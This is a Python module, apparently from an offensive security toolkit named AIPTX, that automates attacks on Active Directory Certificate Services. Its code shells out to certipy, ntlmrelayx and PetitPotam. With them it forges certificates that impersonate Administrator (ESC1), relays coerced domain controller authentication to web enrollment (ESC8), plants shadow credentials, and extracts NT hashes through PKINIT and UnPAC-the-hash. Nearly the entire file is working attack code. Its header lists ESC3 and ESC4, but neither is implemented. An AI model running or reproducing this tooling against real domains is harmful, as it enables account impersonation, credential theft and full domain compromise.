"""
AIPTX Active Directory Certificate Services Exploitation

Certificate-based attack techniques:
- ESC1: Request certificate with arbitrary SAN
- ESC3: Certificate request agent abuse
- ESC4: Template modification
- ESC8: NTLM relay to web enrollment
- Shadow Credentials: msDS-KeyCredentialLink abuse
- UnPAC-the-hash: Extract NTLM from certificate
"""
from __future__ import annotations

import asyncio
import logging
import os
import tempfile
from dataclasses import dataclass, field
from datetime import datetime
from enum import Enum
from typing import Optional

logger = logging.getLogger(__name__)


class CertificateFormat(Enum):
    """Certificate file formats"""
    PFX = "pfx"  # PKCS#12
    PEM = "pem"
    CER = "cer"
    KEY = "key"


@dataclass
class IssuedCertificate:
    """Issued certificate from CA"""
    subject: str
    issuer: str
    serial_number: str = ""
    thumbprint: str = ""

    # Files
    pfx_file: str = ""
    pem_file: str = ""
    key_file: str = ""
    pfx_password: str = ""

    # Metadata
    valid_from: Optional[datetime] = None
    valid_to: Optional[datetime] = None
    template_name: str = ""
    san: list[str] = field(default_factory=list)  # Subject Alternative Names

    # Attack info
    impersonated_user: str = ""
    attack_type: str = ""
    issued_at: datetime = field(default_factory=datetime.utcnow)

    def to_dict(self) -> dict:
        return {
            "subject": self.subject,
            "issuer": self.issuer,
            "serial_number": self.serial_number,
            "template_name": self.template_name,
            "san": self.san,
            "impersonated_user": self.impersonated_user,
            "attack_type": self.attack_type,
            "has_pfx": bool(self.pfx_file),
            "valid_to": self.valid_to.isoformat() if self.valid_to else None,
        }


@dataclass
class ADCSExploitConfig:
    """ADCS exploitation configuration"""
    # Authentication
    username: Optional[str] = None
    password: Optional[str] = None
    ntlm_hash: Optional[str] = None
    domain: Optional[str] = None
    dc_ip: Optional[str] = None

    # CA settings
    ca_name: Optional[str] = None
    ca_host: Optional[str] = None

    # Certificate options
    template: str = "User"
    target_user: str = "Administrator"  # User to impersonate
    output_dir: str = "/tmp"
    pfx_password: str = ""

    # Shadow credentials
    target_dn: Optional[str] = None

    # Timeouts
    timeout: float = 120.0


@dataclass
class ADCSExploitResult:
    """ADCS exploitation results"""
    target: str
    attack_type: str
    success: bool = False

    # Results
    certificate: Optional[IssuedCertificate] = None
    ntlm_hash: str = ""  # From UnPAC-the-hash
    tgt_file: str = ""  # From PKINIT

    # Shadow credentials
    shadow_key_id: str = ""
    shadow_device_id: str = ""

    # Metadata
    start_time: Optional[datetime] = None
    end_time: Optional[datetime] = None
    duration_seconds: float = 0.0
    errors: list[str] = field(default_factory=list)
    commands_executed: list[str] = field(default_factory=list)

    def to_dict(self) -> dict:
        return {
            "target": self.target,
            "attack_type": self.attack_type,
            "success": self.success,
            "certificate": self.certificate.to_dict() if self.certificate else None,
            "ntlm_hash": self.ntlm_hash[:20] + "..." if self.ntlm_hash else "",
            "has_tgt": bool(self.tgt_file),
            "shadow_key_id": self.shadow_key_id,
            "duration_seconds": self.duration_seconds,
            "errors": self.errors,
        }


class ADCSExploitation:
    """
    Active Directory Certificate Services Exploitation.

    Implements:
    - ESC1: Request certificate with arbitrary SAN
    - ESC3: Certificate request agent abuse
    - ESC8: NTLM relay to web enrollment
    - Shadow Credentials: Add key credential for PKINIT auth
    - PKINIT: Authenticate with certificate
    - UnPAC-the-hash: Extract NTLM from certificate auth
    """

    def __init__(self, config: Optional[ADCSExploitConfig] = None):
        self.config = config or ADCSExploitConfig()

    # -------------------------------------------------------------------------
    # ESC1: Enrollee Supplies Subject
    # -------------------------------------------------------------------------

    async def exploit_esc1(
        self,
        template: str,
        target_user: str = "Administrator",
    ) -> ADCSExploitResult:
        """
        Exploit ESC1 vulnerable template.

        Request certificate with arbitrary SAN to impersonate target user.

        Args:
            template: Vulnerable template name
            target_user: User to impersonate

        Returns:
            ADCSExploitResult with certificate
        """
        result = ADCSExploitResult(
            target=target_user,
            attack_type="ESC1",
        )
        result.start_time = datetime.utcnow()

        try:
            cert = await self._request_certificate_certipy(
                template=template,
                upn=f"{target_user}@{self.config.domain}",
            )

            if cert:
                result.certificate = cert
                result.success = True

                # Try to get TGT with certificate
                if cert.pfx_file:
                    tgt = await self._pkinit_auth(cert.pfx_file, cert.pfx_password)
                    if tgt:
                        result.tgt_file = tgt

        except Exception as e:
            logger.error(f"ESC1 exploit failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        return result

    async def _request_certificate_certipy(
        self,
        template: str,
        upn: Optional[str] = None,
        dns: Optional[str] = None,
    ) -> Optional[IssuedCertificate]:
        """Request certificate using certipy"""
        try:
            output_file = os.path.join(self.config.output_dir, f"cert_{template}")

            cmd = ["certipy", "req"]

            # Authentication
            if self.config.username and self.config.password:
                cmd.extend([
                    "-u", f"{self.config.username}@{self.config.domain}",
                    "-p", self.config.password,
                ])
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    "-u", f"{self.config.username}@{self.config.domain}",
                    "-hashes", f":{self.config.ntlm_hash}",
                ])

            cmd.extend([
                "-dc-ip", self.config.dc_ip or "",
                "-ca", self.config.ca_name or "",
                "-template", template,
                "-out", output_file,
            ])

            # Add SAN if specified
            if upn:
                cmd.extend(["-upn", upn])
            if dns:
                cmd.extend(["-dns", dns])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()

            if "Saved certificate" in output or os.path.exists(f"{output_file}.pfx"):
                cert = IssuedCertificate(
                    subject=upn or self.config.username or "",
                    issuer=self.config.ca_name or "",
                    pfx_file=f"{output_file}.pfx",
                    pfx_password=self.config.pfx_password,
                    template_name=template,
                    impersonated_user=upn.split("@")[0] if upn else "",
                    attack_type="ESC1",
                )

                if upn:
                    cert.san.append(f"UPN:{upn}")
                if dns:
                    cert.san.append(f"DNS:{dns}")

                return cert

            logger.error(f"Certificate request failed: {output}")
            return None

        except FileNotFoundError:
            logger.error("certipy not found. pip install certipy-ad")
            return None
        except Exception as e:
            logger.error(f"Certificate request failed: {e}")
            return None

    # -------------------------------------------------------------------------
    # ESC8: NTLM Relay to Web Enrollment
    # -------------------------------------------------------------------------

    async def exploit_esc8(
        self,
        listener_ip: str,
        coerce_target: str,
        template: str = "DomainController",
    ) -> ADCSExploitResult:
        """
        Exploit ESC8 via NTLM relay to web enrollment.

        1. Start ntlmrelayx targeting web enrollment
        2. Coerce target to authenticate
        3. Relay authentication to request certificate

        Args:
            listener_ip: IP to receive coerced auth
            coerce_target: Target to coerce (usually DC)
            template: Template to use (DomainController for DC)

        Returns:
            ADCSExploitResult with relay info
        """
        result = ADCSExploitResult(
            target=coerce_target,
            attack_type="ESC8",
        )
        result.start_time = datetime.utcnow()

        try:
            # Build relay command
            enrollment_url = f"http://{self.config.ca_host}/certsrv/certfnsh.asp"

            relay_cmd = [
                "ntlmrelayx.py",
                "-t", enrollment_url,
                "--adcs",
                "--template", template,
            ]

            result.commands_executed.append(" ".join(relay_cmd))

            # Build coercion command
            coerce_cmd = [
                "PetitPotam.py",
                listener_ip,
                coerce_target,
            ]

            if self.config.username and self.config.password:
                coerce_cmd.extend([
                    "-u", self.config.username,
                    "-p", self.config.password,
                    "-d", self.config.domain or "",
                ])

            result.commands_executed.append(" ".join(coerce_cmd))

            # Note: In practice, these need to run in parallel
            # ntlmrelayx in background, then trigger coercion
            result.errors.append(
                "ESC8 requires manual execution: "
                f"1. Run: {' '.join(relay_cmd)} "
                f"2. Then: {' '.join(coerce_cmd)}"
            )

        except Exception as e:
            logger.error(f"ESC8 setup failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        return result

    # -------------------------------------------------------------------------
    # Shadow Credentials
    # -------------------------------------------------------------------------

    async def add_shadow_credential(
        self,
        target_sam: str,
    ) -> ADCSExploitResult:
        """
        Add shadow credential to target object.

        Writes to msDS-KeyCredentialLink attribute for PKINIT auth.

        Requires: Write access to target's msDS-KeyCredentialLink

        Args:
            target_sam: Target sAMAccountName

        Returns:
            ADCSExploitResult with key info
        """
        result = ADCSExploitResult(
            target=target_sam,
            attack_type="ShadowCredentials",
        )
        result.start_time = datetime.utcnow()

        try:
            cert, key_id, device_id = await self._add_shadow_cred_certipy(target_sam)

            if cert:
                result.certificate = cert
                result.shadow_key_id = key_id
                result.shadow_device_id = device_id
                result.success = True

        except Exception as e:
            logger.error(f"Shadow credential attack failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        return result

    async def _add_shadow_cred_certipy(
        self,
        target_sam: str,
    ) -> tuple[Optional[IssuedCertificate], str, str]:
        """Add shadow credential using certipy"""
        try:
            output_file = os.path.join(self.config.output_dir, f"shadow_{target_sam}")

            cmd = ["certipy", "shadow", "auto"]

            if self.config.username and self.config.password:
                cmd.extend([
                    "-u", f"{self.config.username}@{self.config.domain}",
                    "-p", self.config.password,
                ])
            elif self.config.username and self.config.ntlm_hash:
                cmd.extend([
                    "-u", f"{self.config.username}@{self.config.domain}",
                    "-hashes", f":{self.config.ntlm_hash}",
                ])

            cmd.extend([
                "-dc-ip", self.config.dc_ip or "",
                "-account", target_sam,
                "-out", output_file,
            ])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()

            # Parse output for key info
            key_id = ""
            device_id = ""

            import re
            key_match = re.search(r"KeyCredential ID:\s*(\S+)", output)
            if key_match:
                key_id = key_match.group(1)

            device_match = re.search(r"Device ID:\s*(\S+)", output)
            if device_match:
                device_id = device_match.group(1)

            if os.path.exists(f"{output_file}.pfx"):
                cert = IssuedCertificate(
                    subject=target_sam,
                    issuer="Self-signed (Shadow Credential)",
                    pfx_file=f"{output_file}.pfx",
                    pfx_password="",
                    impersonated_user=target_sam,
                    attack_type="ShadowCredentials",
                )
                return cert, key_id, device_id

            return None, key_id, device_id

        except FileNotFoundError:
            logger.error("certipy not found")
            return None, "", ""
        except Exception as e:
            logger.error(f"Shadow credential failed: {e}")
            return None, "", ""

    async def remove_shadow_credential(
        self,
        target_sam: str,
        device_id: str,
    ) -> bool:
        """
        Remove shadow credential from target.

        Args:
            target_sam: Target sAMAccountName
            device_id: Device ID to remove

        Returns:
            True if successful
        """
        try:
            cmd = ["certipy", "shadow", "remove"]

            if self.config.username and self.config.password:
                cmd.extend([
                    "-u", f"{self.config.username}@{self.config.domain}",
                    "-p", self.config.password,
                ])

            cmd.extend([
                "-dc-ip", self.config.dc_ip or "",
                "-account", target_sam,
                "-device-id", device_id,
            ])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()
            return "success" in output.lower() or "removed" in output.lower()

        except Exception as e:
            logger.error(f"Shadow credential removal failed: {e}")
            return False

    # -------------------------------------------------------------------------
    # PKINIT Authentication
    # -------------------------------------------------------------------------

    async def _pkinit_auth(
        self,
        pfx_file: str,
        pfx_password: str = "",
    ) -> Optional[str]:
        """Authenticate with certificate using PKINIT"""
        try:
            output_file = pfx_file.replace(".pfx", ".ccache")

            cmd = ["certipy", "auth"]
            cmd.extend([
                "-pfx", pfx_file,
                "-dc-ip", self.config.dc_ip or "",
            ])

            if pfx_password:
                cmd.extend(["-password", pfx_password])

            env = os.environ.copy()
            env["KRB5CCNAME"] = output_file

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE,
                env=env
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()

            if "Got TGT" in output or os.path.exists(output_file):
                return output_file

            logger.debug(f"PKINIT auth output: {output}")
            return None

        except Exception as e:
            logger.error(f"PKINIT auth failed: {e}")
            return None

    async def authenticate_with_certificate(
        self,
        pfx_file: str,
        pfx_password: str = "",
    ) -> ADCSExploitResult:
        """
        Authenticate using certificate and extract NTLM hash.

        Uses PKINIT + UnPAC-the-hash technique.

        Args:
            pfx_file: Path to PFX certificate
            pfx_password: PFX password

        Returns:
            ADCSExploitResult with TGT and NTLM hash
        """
        result = ADCSExploitResult(
            target=pfx_file,
            attack_type="PKINIT",
        )
        result.start_time = datetime.utcnow()

        try:
            # Get TGT
            tgt_file = await self._pkinit_auth(pfx_file, pfx_password)
            if tgt_file:
                result.tgt_file = tgt_file
                result.success = True

            # Extract NTLM hash (UnPAC-the-hash)
            ntlm = await self._unpac_the_hash(pfx_file, pfx_password)
            if ntlm:
                result.ntlm_hash = ntlm

        except Exception as e:
            logger.error(f"Certificate auth failed: {e}")
            result.errors.append(str(e))

        result.end_time = datetime.utcnow()
        if result.start_time:
            result.duration_seconds = (result.end_time - result.start_time).total_seconds()

        return result

    async def _unpac_the_hash(
        self,
        pfx_file: str,
        pfx_password: str = "",
    ) -> Optional[str]:
        """Extract NTLM hash from PAC using certificate"""
        try:
            cmd = ["certipy", "auth"]
            cmd.extend([
                "-pfx", pfx_file,
                "-dc-ip", self.config.dc_ip or "",
            ])

            if pfx_password:
                cmd.extend(["-password", pfx_password])

            proc = await asyncio.create_subprocess_exec(
                *cmd,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(),
                timeout=self.config.timeout
            )

            output = stdout.decode() + stderr.decode()

            # Parse NTLM hash from output
            import re
            hash_match = re.search(r"NT Hash:\s*([a-fA-F0-9]{32})", output)
            if hash_match:
                return hash_match.group(1)

            return None

        except Exception as e:
            logger.error(f"UnPAC-the-hash failed: {e}")
            return None


# Convenience functions
async def exploit_esc1(
    domain: str,
    dc_ip: str,
    ca_name: str,
    template: str,
    target_user: str,
    username: str,
    password: Optional[str] = None,
    ntlm_hash: Optional[str] = None,
) -> ADCSExploitResult:
    """
    Exploit ESC1 vulnerable template.

    Args:
        domain: Domain name
        dc_ip: DC IP
        ca_name: CA name
        template: Vulnerable template
        target_user: User to impersonate
        username: Your username
        password: Your password
        ntlm_hash: Your NTLM hash

    Returns:
        ADCSExploitResult
    """
    config = ADCSExploitConfig(
        username=username,
        password=password,
        ntlm_hash=ntlm_hash,
        domain=domain,
        dc_ip=dc_ip,
        ca_name=ca_name,
    )
    exploiter = ADCSExploitation(config)
    return await exploiter.exploit_esc1(template, target_user)


async def add_shadow_credential(
    domain: str,
    dc_ip: str,
    target_user: str,
    username: str,
    password: Optional[str] = None,
    ntlm_hash: Optional[str] = None,
) -> ADCSExploitResult:
    """
    Add shadow credential to target user.

    Args:
        domain: Domain name
        dc_ip: DC IP
        target_user: User to add shadow cred to
        username: Your username
        password: Your password
        ntlm_hash: Your NTLM hash

    Returns:
        ADCSExploitResult with certificate
    """
    config = ADCSExploitConfig(
        username=username,
        password=password,
        ntlm_hash=ntlm_hash,
        domain=domain,
        dc_ip=dc_ip,
    )
    exploiter = ADCSExploitation(config)
    return await exploiter.add_shadow_credential(target_user)
